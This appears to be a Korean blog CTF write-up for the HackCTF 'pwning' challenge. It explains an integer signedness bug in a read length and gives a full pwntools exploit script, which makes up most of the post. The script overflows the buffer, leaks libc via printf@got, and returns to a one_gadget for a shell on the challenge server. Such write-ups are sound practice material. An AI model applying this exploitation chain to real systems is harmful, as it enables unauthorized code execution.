Profile

youngsouk

youngsouk

[hackctf]pwning

바이너리

저기서 중요한게 입력을 받을 때에는 int 형이지만 저것은 unsigned로 부호가 없다 따라서 저기에 -1을 입력하게 된다면 저장하는 방식 때문에 큰 수로 인식되게 된다. 따라서 printf@got를 출력해서 libc 릭 한뒤에 one_gadget을 이용하여 익스를 하면 된다.

from pwn import *

#p = process('./pwning')
p = remote('ctf.j0n9hyun.xyz', 3019)
e = ELF('./pwning')
pause()
context.log_level = "debug"

main = 0x080485B8
syscall = 0x80484D0
p_ebx_r = 0x0804835d

p.recv()
p.sendline('-1')

payload = 'a' * 0x2c + 'b' * 4

payload += p32(e.plt['printf'])
payload += p32(main)
payload += p32(e.got['printf'])

p.sendline(payload)

p.recvuntil('\x08\x0a')

libc = u32(p.recv(4)) - 0x00049020


log.info('libc : ' + hex(libc))
p.recv()
p.sendline('-1')
p.recv()

payload = 'a' * 0x2c + 'b' * 4
payload += p32(libc + 0x3a812)

p.sendline(payload)

p.interactive()

 

'CTF write-up > hackctf' 카테고리의 다른 글

[hackctf]register  (0) 2019.07.21
[hackctf]rtc  (0) 2019.07.19
[hackctf]Gift  (0) 2019.07.18
[hackctf]look_at_me  (0) 2019.07.18
[hackctf]beginner_heap  (0) 2019.07.18